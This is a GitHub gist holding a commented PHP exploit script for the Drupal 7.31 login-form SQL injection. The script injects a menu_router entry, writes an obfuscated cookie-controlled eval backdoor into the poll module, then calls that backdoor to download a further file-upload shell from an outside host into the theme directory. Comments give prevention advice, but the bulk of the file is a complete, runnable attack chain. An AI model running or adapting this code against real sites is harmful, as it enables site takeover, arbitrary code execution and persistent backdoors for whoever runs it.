Last active
March 23, 2025 17:51
-
-
Save mkorostoff/6723ccb8d846e36d9bb9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @author Matt Korostoff <[email protected]> | |
* | |
* @copyright Licensed under the GNU General Public License as published by the Free | |
* Software Foundation, either version 3 of the License, or (at your option) | |
* any later version. http://www.gnu.org/licenses/ | |
* | |
* @usage php path/to/this/file.php 'http://example.com' | |
*/ | |
/******************************************************************************* | |
* Step 1 - SQL Injection * | |
******************************************************************************* | |
* | |
* We want to install a backdoor on the system that will allow us to run any PHP | |
* code. THe basic procedure here is as follows: | |
* | |
* 1. Add an entry into the menu_router table. The menu_router table is Drupal's | |
* store of internal url paths. For instance, if you want to create a URL to | |
* the effect of "http://example.com/foo" menu_router would contain a record | |
* with the path column set to "foo" | |
* | |
* 2. Set the access_callback in your new menu_router entry to "file_put_contents". | |
* Now, the next time someone navigates to "http://example.com/foo" Drupal | |
* will call "file_put_contents" without doing any prior access checking. | |
* | |
* 3. Set the access_arguments in your new menu_router entry to the following | |
* array (serialized of course): | |
* | |
* array( | |
* "path/where/you/want/to/upload/your/exploit/file.php", | |
* "full contents of your attack file" | |
* ); | |
* | |
* 4. Navigate to "http://example.com/foo". When you do this, Drupal will write | |
* your attack file to your specificied directory. | |
* | |
* | |
* HOW TO PREVENT THIS ON YOUR SITE | |
* | |
* 1. Upgrade to Drupal 7.32 or greater. If you are reading this and your site | |
* is running 7.31 or less, it has already been hacked for months. | |
* | |
* 2. Drop all POST traffic in Varnish, and only allow access to Apache from a | |
* specified list of IP addresses. Note that this is only an option if you | |
* have a small, known group of users who must authenticate with Drupal, e.g. | |
* a news website where all traffic is anaonymous except for a handful of authors | |
* | |
* @see https://blog.nictrix.net/2013/11/20/apache-http-whitelist-multiple-ip-addresses/ | |
* @see https://www.varnish-software.com/static/book/VCL_Basics.html#default-vcl-recv | |
*/ | |
$url = $argv[1]; | |
/** | |
* This is an obfuscated version of the backdoor file we're going to write to disk. | |
* Once this file is placed on the server, an attacker who knows how to use it | |
* can execute any PHP on your server. For a deobfuscated version @see deobfuscated.php | |
*/ | |
$malicious_file_to_upload = '<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();'; | |
//We will save this file inside the poll module. Just a random selection. | |
$attack_payload = array('modules/poll/backdoor.php', $malicious_file_to_upload); | |
$attack_payload = serialize($attack_payload); | |
/** | |
* I'm not sure why exactly, but this vulnerability doesn't allow you to inject | |
* curly brackets as plain text. Instead, we'll use the SQL CHAR() keyword. | |
* What we're doing on this line is converting a serialized array of the format: | |
* | |
* a:2:{i:0;s:3:"foo";i:1;s:3:"bar";} | |
* | |
* Into a a value that can be used in an SQL statement, e.g.: | |
* | |
* CONCAT('a:2:', CHAR(123), 'i:0;s:3:"foo";i:1;s:3:"bar";', CHAR(125)) | |
* | |
* A little circuitus, but it's necessary for this exploit | |
*/ | |
$attack_payload = str_replace('{', '\' , CHAR(123), \'', $attack_payload); | |
$attack_payload = str_replace('}', '\' , CHAR(125), \'', $attack_payload); | |
/** | |
* We also need to escape square brackets. Not because they're a problem for | |
* SQL, but because the square bracket has a special meaning when used in HTTP | |
* POST data, namely, that they're used to declare an array. | |
*/ | |
$attack_payload = str_replace('[', '\' , CHAR(91), \'', $attack_payload); | |
$attack_payload = str_replace(']', '\' , CHAR(93), \'', $attack_payload); | |
//Build the malicious SQL query. | |
$query_to_run = "insert into menu_router values ('backdoor','','','file_put_contents',CONCAT('" . $attack_payload . "'),'','','',0,0,0,'','','','','','','',0,'hacked','',0,'')"; | |
$query_to_run = urlencode($query_to_run); | |
/** | |
* Send the malicious SQL query to the user login form. | |
* | |
* This works because, until Drupal 7.32, array keys from the user login form | |
* were trusted implicitly. So a submission to the user login form would | |
* normally look like: | |
* | |
* name[0]=my_drupal_user_name&password[0]=my_drupal_password | |
* ^ | |
* | | |
* | | |
* | | |
* This "0" is the problem. Drupal is just going to pass this value to the | |
* database unsanitized. So if we make a malicious program that sends the | |
* following request: | |
* | |
* name[); DROP TABLE students;]=my_drupal_user_name&password[0]=my_drupal_password | |
* | |
* Boom, we've just injected some sql. And deleted this years student records. | |
* | |
*/ | |
$post_data = "name[0%20;" . $query_to_run . ";;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; | |
$params = array( | |
'http' => array( | |
'method' => 'POST', | |
'header' => "Content-Type: application/x-www-form-urlencoded\r\n", | |
'content' => $post_data | |
) | |
); | |
$ctx = stream_context_create($params); | |
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); | |
/******************************************************************************* | |
* SQL injection complete * | |
*******************************************************************************/ | |
/******************************************************************************* | |
* Step 2 - Create a backdoor to run any PHP * | |
******************************************************************************* | |
* | |
* Navigate to your new attack page. This will take the text we selected above | |
* in $malicious_file_to_upload and write in to http://example.com/modules/poll/backdoor.php | |
* backdoor.php is our backdoor that will allow us to run any PHP we want and the | |
* exploited machine. | |
* | |
* @see deobfuscated.php | |
* | |
* HOW TO PREVENT THIS ON YOUR SITE | |
* | |
* 1. Make sure your Drupal root is unwrittable to Apache. You should have been | |
* doing this already, but if you're not, this is the time to start. | |
* @see https://www.drupal.org/node/244924 | |
* | |
* 2. Upgrade to php 5.5. Our malicious attack file relies totally on a | |
* deprecated feature of preg_replace which allows you to eval any code | |
* during a find/replace opperation. | |
* @see http://php.net/manual/en/function.preg-replace.php#refsect1-function.preg-replace-changelog | |
* | |
* 3. Host with a professional Drupal hosting company, such as Acquia. Literally | |
* every stage of this attack would have failed against a site hosted with | |
* Acquia. | |
*/ | |
file_get_contents($url . '/backdoor'); | |
/******************************************************************************* | |
* Step 3 - Create a backdoor to upload any file * | |
******************************************************************************* | |
* | |
* With our new found power to run and PHP and any SQL on the exploited server, | |
* we're going to do exactly one thing, and that is download a secondary exploit | |
* file to some other location on the file system. We're going to choose the | |
* bartik theme as the upload location because, hey, why not. uploader.php is a | |
* file I found on my server that was put there by a hacker. As the name implies, | |
* it can be used to upload any file to the director where it's located. | |
* | |
* HOW TO PREVENT THIS ON YOUR SITE | |
* | |
* Make sure your Drupal root is unwrittable to Apache (see #1 and #3 from Step | |
* 2 above) | |
*/ | |
$c = curl_init($url . '/modules/poll/backdoor.php'); | |
$code = base64_encode('file_put_contents(realpath("../..") . "/themes/bartik/uploader.php", file_get_contents("http://mattkorostoff.com/uploader.txt"));'); | |
curl_setopt($c, CURLOPT_COOKIE, 'Kcqf3=base64_decode;Kcqf2=cHJlZ19yZXBsYWNl;Kcqf1=' . $code . ';'); | |
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); | |
$page = curl_exec($c); | |
/** | |
* Hacking complete. The attacker can now: | |
* - Run any SQL on your server. | |
* - Run any PHP on your server. | |
* - Upload any file to your server. | |
* | |
* Once this hack is executed, you really have little choice but to scrap the | |
* whole server and reinstall from scratch. | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment